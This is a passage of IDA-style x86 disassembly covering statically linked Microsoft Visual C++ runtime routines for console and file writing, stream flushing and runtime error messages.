loc_4142F5:				; CODE XREF: sub_41422C+A1j
					; sub_41422C+B8j
		push	esi
		call	sub_40D970
		inc	eax
		cmp	eax, 3Ch
		pop	ecx
		jbe	short loc_41433A
		push	esi
		call	sub_40D970
		sub	esi, 3Bh
		add	eax, esi
		push	3
		mov	ecx, offset dword_424764
		push	offset a___	; "..."
		sub	ecx, eax
		push	ecx
		push	eax
		call	sub_412B40
		add	esp, 14h
		test	eax, eax
		jz	short loc_41433A
		xor	esi, esi
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_40DBDC
		add	esp, 14h
		jmp	short loc_41433C
; ---------------------------------------------------------------------------


loc_41433A:				; CODE XREF: sub_41422C+D4j
					; sub_41422C+FBj
		xor	esi, esi


loc_41433C:				; CODE XREF: sub_41422C+10Cj
		push	offset asc_41CDC0 ; "\n\n"
		push	ebx
		push	ebp
		call	sub_41889F
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41435C
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_40DBDC
		add	esp, 14h


loc_41435C:				; CODE XREF: sub_41422C+121j
		push	off_423B2C[edi*8]
		push	ebx
		push	ebp
		call	sub_41889F
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41437E
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_40DBDC
		add	esp, 14h


loc_41437E:				; CODE XREF: sub_41422C+143j
		push	12010h
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	ebp
		call	sub_419937
		add	esp, 0Ch
		jmp	short loc_4143C6
; ---------------------------------------------------------------------------


loc_414393:				; CODE XREF: sub_41422C+30j
					; sub_41422C+49j
		push	0FFFFFFF4h
		call	dword_41C180	; GetStdHandle
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_4143C6
		cmp	ebp, 0FFFFFFFFh
		jz	short loc_4143C6
		push	0
		lea	eax, [esp+18h+var_4]
		push	eax
		lea	esi, ds:423B2Ch[edi*8]
		push	dword ptr [esi]
		call	sub_40D970
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	ebp
		call	dword_41C17C	; WriteFile


loc_4143C6:				; CODE XREF: sub_41422C+55j
					; sub_41422C+165j ...
		pop	ebp


loc_4143C7:				; CODE XREF: sub_41422C+1Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		retn
sub_41422C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4143CC	proc near		; CODE XREF: sub_41056D+9p
					; sub_411069+23p ...
		push	3
		call	sub_419AD5
		cmp	eax, 1
		pop	ecx
		jz	short loc_4143EE
		push	3
		call	sub_419AD5
		test	eax, eax
		pop	ecx
		jnz	short locret_414404
		cmp	dword_4231A0, 1
		jnz	short locret_414404


loc_4143EE:				; CODE XREF: sub_4143CC+Bj
		push	0FCh
		call	sub_41422C
		push	0FFh
		call	sub_41422C
		pop	ecx
		pop	ecx

locret_414404:				; CODE XREF: sub_4143CC+17j
					; sub_4143CC+20j
		retn
sub_4143CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_414405	proc near		; CODE XREF: sub_412755+1Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_42476C, eax
		retn
sub_414405	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=518h


sub_41440F	proc near		; CODE XREF: sub_4149D5+9Ap
					; sub_41A3FB+BBp

var_594		= dword	ptr -594h
var_590		= dword	ptr -590h
var_58C		= dword	ptr -58Ch
var_588		= dword	ptr -588h
var_584		= dword	ptr -584h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_578		= dword	ptr -578h
var_574		= dword	ptr -574h
var_56D		= byte ptr -56Dh
var_56C		= dword	ptr -56Ch
var_568		= dword	ptr -568h
var_564		= byte ptr -564h
var_410		= byte ptr -410h
var_160		= byte ptr -160h
var_C		= byte ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		lea	ebp, [esp-518h]
		sub	esp, 594h
		mov	eax, dword_4231C4
		xor	eax, ebp
		mov	[ebp+518h+var_4], eax
		mov	eax, [ebp+518h+arg_4]
		push	esi
		xor	esi, esi
		cmp	[ebp+518h+arg_8], esi
		mov	[ebp+518h+var_57C], eax
		mov	[ebp+518h+var_578], esi
		mov	[ebp+518h+var_580], esi
		jnz	short loc_41444B
		xor	eax, eax
		jmp	loc_4149BF
; ---------------------------------------------------------------------------


loc_41444B:				; CODE XREF: sub_41440F+33j
		cmp	eax, esi
		jnz	short loc_414476
		call	sub_40F7B1
		mov	[eax], esi
		call	sub_40F79E
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 16h
		call	sub_40DCD8
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		jmp	loc_4149BF
; ---------------------------------------------------------------------------


loc_414476:				; CODE XREF: sub_41440F+3Ej
		mov	esi, [ebp+518h+arg_0]
		push	ebx
		mov	ebx, esi
		and	ebx, 1Fh
		imul	ebx, 28h
		mov	eax, esi
		sar	eax, 5
		push	edi
		lea	edi, ds:424EE0h[eax*4]
		mov	eax, [edi]
		add	eax, ebx
		mov	cl, [eax+24h]
		add	cl, cl
		sar	cl, 1
		cmp	cl, 2
		mov	[ebp+518h+var_588], edi
		mov	[ebp+518h+var_56D], cl
		jz	short loc_4144AD
		cmp	cl, 1
		jnz	short loc_4144E0


loc_4144AD:				; CODE XREF: sub_41440F+97j
		mov	ecx, [ebp+518h+arg_8]
		not	ecx
		test	cl, 1
		jnz	short loc_4144E0
		call	sub_40F7B1
		xor	esi, esi
		mov	[eax], esi
		call	sub_40F79E
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 16h
		call	sub_40DCD8
		add	esp, 14h
		jmp	loc_4149B5
; ---------------------------------------------------------------------------


loc_4144E0:				; CODE XREF: sub_41440F+9Cj
					; sub_41440F+A9j
		test	byte ptr [eax+4], 20h
		jz	short loc_4144F5
		push	2
		push	0
		push	0
		push	esi
		call	sub_4178D6
		add	esp, 10h


loc_4144F5:				; CODE XREF: sub_41440F+D5j
		push	esi
		call	sub_417AB6
		test	eax, eax
		pop	ecx
		jz	loc_4146FA
		mov	eax, [edi]
		test	byte ptr [ebx+eax+4], 80h
		jz	loc_4146FA
		call	sub_411FFD
		mov	eax, [eax+6Ch]
		xor	ecx, ecx
		cmp	[eax+14h], ecx
		lea	eax, [ebp+518h+var_594]
		setz	cl
		push	eax
		mov	eax, [edi]
		push	dword ptr [ebx+eax]
		mov	esi, ecx
		call	dword_41C188	; GetConsoleMode
		test	eax, eax
		jz	loc_4146FA
		test	esi, esi
		jz	short loc_414548
		cmp	[ebp+518h+var_56D], 0
		jz	loc_4146FA


loc_414548:				; CODE XREF: sub_41440F+12Dj
		call	dword_41C184	; GetConsoleCP
		and	[ebp+518h+var_568], 0
		cmp	[ebp+518h+arg_8], 0
		mov	esi, [ebp+518h+var_57C]
		mov	[ebp+518h+var_594], eax
		mov	[ebp+518h+var_58C], esi
		jbe	loc_414967
		and	[ebp+518h+var_574], 0
		jmp	short loc_414571
; ---------------------------------------------------------------------------


loc_41456E:				; CODE XREF: sub_41440F+2E0j
		mov	esi, [ebp+518h+var_58C]


loc_414571:				; CODE XREF: sub_41440F+15Dj
		mov	al, [ebp+518h+var_56D]
		test	al, al
		jnz	loc_414682
		mov	al, [esi]
		xor	ecx, ecx
		cmp	al, 0Ah
		setz	cl
		movsx	eax, al
		push	eax
		mov	[ebp+518h+var_590], ecx
		call	sub_4139BE
		test	eax, eax
		pop	ecx
		jnz	short loc_4145B0
		push	1
		lea	eax, [ebp+518h+var_56C]
		push	esi
		push	eax
		call	sub_419CF0
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_41495D
		jmp	short loc_4145E0
; ---------------------------------------------------------------------------


loc_4145B0:				; CODE XREF: sub_41440F+185j
		mov	eax, [ebp+518h+var_57C]
		sub	eax, esi
		add	eax, [ebp+518h+arg_8]
		cmp	eax, 1
		jbe	loc_41495D
		push	2
		lea	eax, [ebp+518h+var_56C]
		push	esi
		push	eax
		call	sub_419CF0
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_41495D
		inc	esi
		inc	[ebp+518h+var_574]


loc_4145E0:				; CODE XREF: sub_41440F+19Fj
		xor	eax, eax
		push	eax
		push	eax
		push	5
		lea	ecx, [ebp+518h+var_C]
		push	ecx
		push	1
		lea	ecx, [ebp+518h+var_56C]
		push	ecx
		push	eax
		push	[ebp+518h+var_594]
		inc	esi
		inc	[ebp+518h+var_574]
		mov	[ebp+518h+var_58C], esi
		call	dword_41C170	; WideCharToMultiByte
		mov	esi, eax
		test	esi, esi
		jz	loc_41495D
		push	0
		lea	eax, [ebp+518h+var_568]
		push	eax
		push	esi
		lea	eax, [ebp+518h+var_C]
		push	eax
		mov	eax, [edi]
		push	dword ptr [ebx+eax]
		call	dword_41C17C	; WriteFile
		test	eax, eax
		jz	loc_414954
		mov	eax, [ebp+518h+var_568]
		add	[ebp+518h+var_578], eax
		cmp	eax, esi
		jl	loc_41495D
		cmp	[ebp+518h+var_590], 0
		jz	loc_4146E6
		push	0
		lea	eax, [ebp+518h+var_568]
		push	eax
		push	1
		lea	eax, [ebp+518h+var_C]
		push	eax
		mov	eax, [edi]
		mov	[ebp+518h+var_C], 0Dh
		push	dword ptr [ebx+eax]
		call	dword_41C17C	; WriteFile
		test	eax, eax
		jz	loc_414954
		cmp	[ebp+518h+var_568], 1
		jl	loc_41495D
		inc	[ebp+518h+var_580]
		inc	[ebp+518h+var_578]
		jmp	short loc_4146E6
; ---------------------------------------------------------------------------


loc_414682:				; CODE XREF: sub_41440F+167j
		cmp	al, 1
		jz	short loc_41468A
		cmp	al, 2
		jnz	short loc_4146A5


loc_41468A:				; CODE XREF: sub_41440F+275j
		movzx	ecx, word ptr [esi]
		xor	edx, edx
		cmp	cx, 0Ah
		setz	dl
		inc	esi
		inc	esi
		add	[ebp+518h+var_574], 2
		mov	[ebp+518h+var_56C], ecx
		mov	[ebp+518h+var_58C], esi
		mov	[ebp+518h+var_590], edx


loc_4146A5:				; CODE XREF: sub_41440F+279j
		cmp	al, 1
		jz	short loc_4146AD
		cmp	al, 2
		jnz	short loc_4146E6


loc_4146AD:				; CODE XREF: sub_41440F+298j
		push	[ebp+518h+var_56C]
		call	sub_419B1B
		cmp	ax, word ptr [ebp+518h+var_56C]
		pop	ecx
		jnz	loc_414954
		inc	[ebp+518h+var_578]
		cmp	[ebp+518h+var_590], 0
		jz	short loc_4146E6
		push	0Dh
		pop	eax
		push	eax
		mov	[ebp+518h+var_56C], eax
		call	sub_419B1B
		cmp	ax, word ptr [ebp+518h+var_56C]
		pop	ecx
		jnz	loc_414954
		inc	[ebp+518h+var_578]
		inc	[ebp+518h+var_580]


loc_4146E6:				; CODE XREF: sub_41440F+232j
					; sub_41440F+271j ...
		mov	eax, [ebp+518h+arg_8]
		cmp	[ebp+518h+var_574], eax
		jb	loc_41456E
		jmp	loc_41495D
; ---------------------------------------------------------------------------


loc_4146FA:				; CODE XREF: sub_41440F+EFj
					; sub_41440F+FCj ...
		mov	eax, [edi]
		add	eax, ebx
		test	byte ptr [eax+4], 80h
		jz	loc_41492D
		mov	eax, [ebp+518h+var_57C]
		xor	esi, esi
		cmp	[ebp+518h+var_56D], 0
		mov	[ebp+518h+var_56C], esi
		jnz	loc_4147AB
		cmp	[ebp+518h+arg_8], esi
		mov	[ebp+518h+var_568], eax
		jbe	loc_41498E


loc_414729:				; CODE XREF: sub_41440F+395j
		mov	ecx, [ebp+518h+var_568]
		and	[ebp+518h+var_574], 0
		sub	ecx, [ebp+518h+var_57C]
		lea	eax, [ebp+518h+var_564]


loc_414736:				; CODE XREF: sub_41440F+354j
		cmp	ecx, [ebp+518h+arg_8]
		jnb	short loc_414765
		mov	edx, [ebp+518h+var_568]
		inc	[ebp+518h+var_568]
		mov	dl, [edx]
		inc	ecx
		cmp	dl, 0Ah
		jnz	short loc_414756
		inc	[ebp+518h+var_580]
		mov	byte ptr [eax],	0Dh
		inc	eax
		inc	[ebp+518h+var_574]


loc_414756:				; CODE XREF: sub_41440F+33Bj
		mov	[eax], dl
		inc	eax
		inc	[ebp+518h+var_574]
		cmp	[ebp+518h+var_574], 400h
		jb	short loc_414736


loc_414765:				; CODE XREF: sub_41440F+32Dj
		mov	esi, eax
		lea	eax, [ebp+518h+var_564]
		sub	esi, eax
		push	0
		lea	eax, [ebp+518h+var_584]
		push	eax
		push	esi
		lea	eax, [ebp+518h+var_564]
		push	eax
		mov	eax, [edi]
		push	dword ptr [ebx+eax]
		call	dword_41C17C	; WriteFile
		test	eax, eax
		jz	loc_414954
		mov	eax, [ebp+518h+var_584]
		add	[ebp+518h+var_578], eax
		cmp	eax, esi
		jl	loc_41495D
		mov	eax, [ebp+518h+var_568]
		sub	eax, [ebp+518h+var_57C]
		cmp	eax, [ebp+518h+arg_8]
		jb	short loc_414729
		jmp	loc_41495D
; ---------------------------------------------------------------------------


loc_4147AB:				; CODE XREF: sub_41440F+305j
		cmp	[ebp+518h+var_56D], 2
		jnz	loc_414852
		cmp	[ebp+518h+arg_8], esi
		mov	[ebp+518h+var_568], eax
		jbe	loc_41498E


loc_4147C4:				; CODE XREF: sub_41440F+438j
		mov	ecx, [ebp+518h+var_568]
		xor	esi, esi
		sub	ecx, [ebp+518h+var_57C]
		lea	eax, [ebp+518h+var_564]


loc_4147CF:				; CODE XREF: sub_41440F+3F7j
		cmp	ecx, [ebp+518h+arg_8]
		jnb	short loc_414808
		mov	edx, [ebp+518h+var_568]
		add	[ebp+518h+var_568], 2
		movzx	edx, word ptr [edx]
		inc	ecx
		inc	ecx
		cmp	dx, 0Ah
		jnz	short loc_4147F6
		add	[ebp+518h+var_580], 2
		mov	word ptr [eax],	0Dh
		inc	eax
		inc	eax
		inc	esi
		inc	esi


loc_4147F6:				; CODE XREF: sub_41440F+3D8j
		mov	edi, [ebp+518h+var_588]
		mov	[eax], dx
		inc	eax
		inc	eax
		inc	esi
		inc	esi
		cmp	esi, 3FFh
		jb	short loc_4147CF


loc_414808:				; CODE XREF: sub_41440F+3C6j
		mov	esi, eax
		lea	eax, [ebp+518h+var_564]
		sub	esi, eax
		push	0
		lea	eax, [ebp+518h+var_584]
		push	eax
		push	esi
		lea	eax, [ebp+518h+var_564]
		push	eax
		mov	eax, [edi]
		push	dword ptr [ebx+eax]
		call	dword_41C17C	; WriteFile
		test	eax, eax
		jz	loc_414954
		mov	eax, [ebp+518h+var_584]
		add	[ebp+518h+var_578], eax
		cmp	eax, esi
		jl	loc_41495D
		mov	eax, [ebp+518h+var_568]
		sub	eax, [ebp+518h+var_57C]
		cmp	eax, [ebp+518h+arg_8]
		jb	loc_4147C4
		jmp	loc_41495D
; ---------------------------------------------------------------------------


loc_414852:				; CODE XREF: sub_41440F+3A0j
		cmp	[ebp+518h+arg_8], esi
		mov	[ebp+518h+var_574], eax
		jbe	loc_41498E


loc_414861:				; CODE XREF: sub_41440F+516j
		mov	ecx, [ebp+518h+var_574]
		and	[ebp+518h+var_568], 0
		sub	ecx, [ebp+518h+var_57C]
		push	2
		lea	eax, [ebp+518h+var_160]
		pop	esi


loc_414874:				; CODE XREF: sub_41440F+497j
		cmp	ecx, [ebp+518h+arg_8]
		jnb	short loc_4148A8
		mov	edx, [ebp+518h+var_574]
		movzx	edx, word ptr [edx]
		add	[ebp+518h+var_574], esi
		add	ecx, esi
		cmp	dx, 0Ah
		jnz	short loc_414897
		mov	word ptr [eax],	0Dh
		add	eax, esi
		add	[ebp+518h+var_568], esi


loc_414897:				; CODE XREF: sub_41440F+47Cj
		add	[ebp+518h+var_568], esi
		mov	[eax], dx
		add	eax, esi
		cmp	[ebp+518h+var_568], 152h
		jb	short loc_414874


loc_4148A8:				; CODE XREF: sub_41440F+46Bj
		xor	esi, esi
		push	esi
		push	esi
		push	2ABh
		lea	ecx, [ebp+518h+var_410]
		push	ecx
		lea	ecx, [ebp+518h+var_160]
		sub	eax, ecx
		cdq
		sub	eax, edx
		sar	eax, 1
		push	eax
		mov	eax, ecx
		push	eax
		push	esi
		push	0FDE9h
		call	dword_41C170	; WideCharToMultiByte
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_414954


loc_4148DB:				; CODE XREF: sub_41440F+4F6j
		push	0
		lea	eax, [ebp+518h+var_584]
		push	eax
		mov	eax, edi
		sub	eax, esi
		push	eax
		lea	eax, [ebp+esi+518h+var_410]
		push	eax
		mov	eax, [ebp+518h+var_588]
		mov	eax, [eax]
		push	dword ptr [ebx+eax]
		call	dword_41C17C	; WriteFile
		test	eax, eax
		jz	short loc_414909
		add	esi, [ebp+518h+var_584]
		cmp	edi, esi
		jg	short loc_4148DB
		jmp	short loc_414912
; ---------------------------------------------------------------------------


loc_414909:				; CODE XREF: sub_41440F+4EFj
		call	dword_41C0A4	; RtlGetLastWin32Error
		mov	[ebp+518h+var_56C], eax


loc_414912:				; CODE XREF: sub_41440F+4F8j
		cmp	edi, esi
		jg	short loc_41495D
		mov	eax, [ebp+518h+var_574]
		sub	eax, [ebp+518h+var_57C]
		cmp	eax, [ebp+518h+arg_8]
		mov	[ebp+518h+var_578], eax
		jb	loc_414861
		jmp	short loc_41495D
; ---------------------------------------------------------------------------


loc_41492D:				; CODE XREF: sub_41440F+2F3j
		push	0
		lea	ecx, [ebp+518h+var_584]
		push	ecx
		push	[ebp+518h+arg_8]
		push	[ebp+518h+var_57C]
		push	dword ptr [eax]
		call	dword_41C17C	; WriteFile
		test	eax, eax
		jz	short loc_414954
		mov	eax, [ebp+518h+var_584]
		and	[ebp+518h+var_56C], 0
		mov	[ebp+518h+var_578], eax
		jmp	short loc_41495D
; ---------------------------------------------------------------------------


loc_414954:				; CODE XREF: sub_41440F+21Aj
					; sub_41440F+25Bj ...
		call	dword_41C0A4	; RtlGetLastWin32Error
		mov	[ebp+518h+var_56C], eax


loc_41495D:				; CODE XREF: sub_41440F+199j
					; sub_41440F+1AFj ...
		mov	eax, [ebp+518h+var_578]
		test	eax, eax
		jnz	short loc_4149BA
		mov	edi, [ebp+518h+var_588]


loc_414967:				; CODE XREF: sub_41440F+153j
		xor	esi, esi
		cmp	[ebp+518h+var_56C], esi
		jz	short loc_41498E
		push	5
		pop	esi
		cmp	[ebp+518h+var_56C], esi
		jnz	short loc_414983
		call	sub_40F79E
		mov	dword ptr [eax], 9
		jmp	short loc_4149AE
; ---------------------------------------------------------------------------


loc_414983:				; CODE XREF: sub_41440F+565j
		push	[ebp+518h+var_56C]
		call	sub_40F7C4
		pop	ecx
		jmp	short loc_4149B5
; ---------------------------------------------------------------------------


loc_41498E:				; CODE XREF: sub_41440F+314j
					; sub_41440F+3AFj ...
		mov	eax, [edi]
		test	byte ptr [ebx+eax+4], 40h
		jz	short loc_4149A3
		mov	eax, [ebp+518h+var_57C]
		cmp	byte ptr [eax],	1Ah
		jnz	short loc_4149A3
		xor	eax, eax
		jmp	short loc_4149BD
; ---------------------------------------------------------------------------


loc_4149A3:				; CODE XREF: sub_41440F+586j
					; sub_41440F+58Ej
		call	sub_40F79E
		mov	dword ptr [eax], 1Ch


loc_4149AE:				; CODE XREF: sub_41440F+572j
		call	sub_40F7B1
		mov	[eax], esi


loc_4149B5:				; CODE XREF: sub_41440F+CCj
					; sub_41440F+57Dj
		or	eax, 0FFFFFFFFh
		jmp	short loc_4149BD
; ---------------------------------------------------------------------------


loc_4149BA:				; CODE XREF: sub_41440F+553j
		sub	eax, [ebp+518h+var_580]


loc_4149BD:				; CODE XREF: sub_41440F+592j
					; sub_41440F+5A9j
		pop	edi
		pop	ebx


loc_4149BF:				; CODE XREF: sub_41440F+37j
					; sub_41440F+62j
		mov	ecx, [ebp+518h+var_4]
		xor	ecx, ebp
		pop	esi
		call	sub_410BCD
		add	ebp, 518h
		leave
		retn
sub_41440F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4149D5	proc near		; CODE XREF: sub_40FB62+ADp
					; sub_4111BA+CBp ...

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	10h
		push	offset dword_41FAB0
		call	__SEH_prolog4
		mov	eax, [ebp+arg_0]
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_414A04
		call	sub_40F7B1
		and	dword ptr [eax], 0
		call	sub_40F79E
		mov	dword ptr [eax], 9


loc_4149FC:				; CODE XREF: sub_4149D5+5Cj
		or	eax, 0FFFFFFFFh
		jmp	loc_414AA1
; ---------------------------------------------------------------------------


loc_414A04:				; CODE XREF: sub_4149D5+12j
		xor	edi, edi
		cmp	eax, edi
		jl	short loc_414A12
		cmp	eax, dword_424EC8
		jb	short loc_414A33


loc_414A12:				; CODE XREF: sub_4149D5+33j
					; sub_4149D5+7Cj
		call	sub_40F7B1
		mov	[eax], edi
		call	sub_40F79E
		mov	dword ptr [eax], 9
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		call	sub_40DCD8
		add	esp, 14h
		jmp	short loc_4149FC
; ---------------------------------------------------------------------------


loc_414A33:				; CODE XREF: sub_4149D5+3Bj
		mov	ecx, eax
		sar	ecx, 5
		lea	ebx, ds:424EE0h[ecx*4]
		mov	esi, eax
		and	esi, 1Fh
		imul	esi, 28h
		mov	ecx, [ebx]
		movzx	ecx, byte ptr [ecx+esi+4]
		and	ecx, 1
		jz	short loc_414A12
		push	eax
		call	sub_419E76
		pop	ecx
		mov	[ebp+ms_exc.disabled], edi
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_414A7C
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41440F
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		jmp	short loc_414A92
; ---------------------------------------------------------------------------


loc_414A7C:				; CODE XREF: sub_4149D5+8Fj
		call	sub_40F79E
		mov	dword ptr [eax], 9
		call	sub_40F7B1
		mov	[eax], edi
		or	[ebp+var_1C], 0FFFFFFFFh


loc_414A92:				; CODE XREF: sub_4149D5+A5j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_414AA7
		mov	eax, [ebp+var_1C]


loc_414AA1:				; CODE XREF: sub_4149D5+2Aj
		call	__SEH_epilog4
		retn
sub_4149D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_414AA7	proc near		; CODE XREF: sub_4149D5+C4p
					; DATA XREF: .vty:0041FAC8o
		push	dword ptr [ebp+8]
		call	sub_419F16
		pop	ecx
		retn
sub_414AA7	endp


; =============== S U B	R O U T	I N E =======================================



sub_414AB1	proc near		; CODE XREF: sub_40FB62+A6p
					; sub_40FD09+42p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		xor	esi, esi
		cmp	eax, esi
		jnz	short loc_414AD9
		call	sub_40F79E
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 16h
		call	sub_40DCD8
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_414AD9:				; CODE XREF: sub_414AB1+9j
		mov	eax, [eax+10h]
		pop	esi
		retn
sub_414AB1	endp


; =============== S U B	R O U T	I N E =======================================



sub_414ADE	proc near		; CODE XREF: sub_40FB62+86p
					; sub_40FD09+34p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	cl, 3
		xor	ebx, ebx
		cmp	cl, 2
		jnz	short loc_414B32
		test	ax, 108h
		jz	short loc_414B32
		mov	eax, [esi+8]
		push	edi
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_414B31
		push	edi
		push	eax
		push	esi
		call	sub_414AB1
		pop	ecx
		push	eax
		call	sub_4149D5
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_414B2A
		mov	eax, [esi+0Ch]
		test	al, al
		jns	short loc_414B31
		and	eax, 0FFFFFFFDh
		mov	[esi+0Ch], eax
		jmp	short loc_414B31
; ---------------------------------------------------------------------------


loc_414B2A:				; CODE XREF: sub_414ADE+3Bj
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_414B31:				; CODE XREF: sub_414ADE+25j
					; sub_414ADE+42j ...
		pop	edi


loc_414B32:				; CODE XREF: sub_414ADE+13j
					; sub_414ADE+19j
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	esi
		mov	eax, ebx
		pop	ebx
		retn
sub_414ADE	endp


; =============== S U B	R O U T	I N E =======================================



sub_414B40	proc near		; CODE XREF: sub_414B82+69p
					; sub_414B82+84p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_414B52
		push	esi
		call	sub_414B82
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_414B52:				; CODE XREF: sub_414B40+7j
		push	esi
		call	sub_414ADE
		test	eax, eax
		pop	ecx
		jz	short loc_414B62
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_414B62:				; CODE XREF: sub_414B40+1Bj
		test	word ptr [esi+0Ch], 4000h
		jz	short loc_414B7E
		push	esi
		call	sub_414AB1
		push	eax
		call	sub_41A0D7
		pop	ecx
		pop	ecx
		neg	eax
		sbb	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_414B7E:				; CODE XREF: sub_414B40+28j
		xor	eax, eax
		pop	esi
		retn
sub_414B40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414B82	proc near		; CODE XREF: sub_414B40+Ap
					; sub_414C5C+2p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 00414C35 SIZE 0000001E BYTES

		push	14h
		push	offset dword_41FAD0
		call	__SEH_prolog4
		xor	edi, edi
		mov	[ebp+var_1C], edi
		mov	[ebp+var_24], edi
		push	1
		call	sub_416DA6
		pop	ecx
		mov	[ebp+ms_exc.disabled], edi
		xor	esi, esi


loc_414BA3:				; CODE XREF: sub_414B82+9Bj
		mov	[ebp+var_20], esi
		cmp	esi, dword_426000
		jge	loc_414C35
		mov	eax, dword_424FE0
		lea	eax, [eax+esi*4]
		cmp	[eax], edi
		jz	short loc_414C1C
		mov	eax, [eax]
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_414C1C
		push	eax
		push	esi
		call	sub_413B88
		pop	ecx
		pop	ecx
		xor	edx, edx
		inc	edx
		mov	[ebp+ms_exc.disabled], edx
		mov	eax, dword_424FE0
		mov	eax, [eax+esi*4]
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_414C14
		cmp	[ebp+arg_0], edx
		jnz	short loc_414BFB
		push	eax
		call	sub_414B40
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_414C14
		inc	[ebp+var_1C]
		jmp	short loc_414C14
; ---------------------------------------------------------------------------


loc_414BFB:				; CODE XREF: sub_414B82+66j
		cmp	[ebp+arg_0], edi
		jnz	short loc_414C14
		test	cl, 2
		jz	short loc_414C14
		push	eax
		call	sub_414B40
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_414C14
		or	[ebp+var_24], eax


loc_414C14:				; CODE XREF: sub_414B82+61j
					; sub_414B82+72j ...
		mov	[ebp+ms_exc.disabled], edi
		call	sub_414C24


loc_414C1C:				; CODE XREF: sub_414B82+3Aj
					; sub_414B82+42j
		inc	esi
		jmp	short loc_414BA3
sub_414B82	endp


; =============== S U B	R O U T	I N E =======================================



sub_414C1F	proc near		; DATA XREF: .vty:0041FAF4o
		xor	edi, edi
		mov	esi, [ebp-20h]
sub_414C1F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_414C24	proc near		; CODE XREF: sub_414B82+95p
		mov	eax, dword_424FE0
		push	dword ptr [eax+esi*4]
		push	esi
		call	sub_413BDA
		pop	ecx
		pop	ecx
		retn
sub_414C24	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_414B82


loc_414C35:				; CODE XREF: sub_414B82+2Aj
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_414C53
		cmp	[ebp+arg_0], 1
		mov	eax, [ebp+var_1C]
		jz	short loc_414C4D
		mov	eax, [ebp+var_24]


loc_414C4D:				; CODE XREF: sub_414B82+C6j
		call	__SEH_epilog4
		retn
; END OF FUNCTION CHUNK	FOR sub_414B82

; =============== S U B	R O U T	I N E =======================================



sub_414C53	proc near		; CODE XREF: sub_414B82+BAp
					; DATA XREF: .vty:0041FAE8o
		push	1
		call	sub_416CCE
		pop	ecx
		retn
sub_414C53	endp


; =============== S U B	R O U T	I N E =======================================



sub_414C5C	proc near		; CODE XREF: sub_413B39p
		push	1
		call	sub_414B82
		pop	ecx
		retn
sub_414C5C	endp


; =============== S U B	R O U T	I N E =======================================



sub_414C65	proc near		; CODE XREF: sub_414CF9+94p
					; sub_418D2B+340p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		push	esi
		call	sub_419E05
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_414CC4
		cmp	esi, 1
		mov	eax, dword_424EE0
		jnz	short loc_414C87
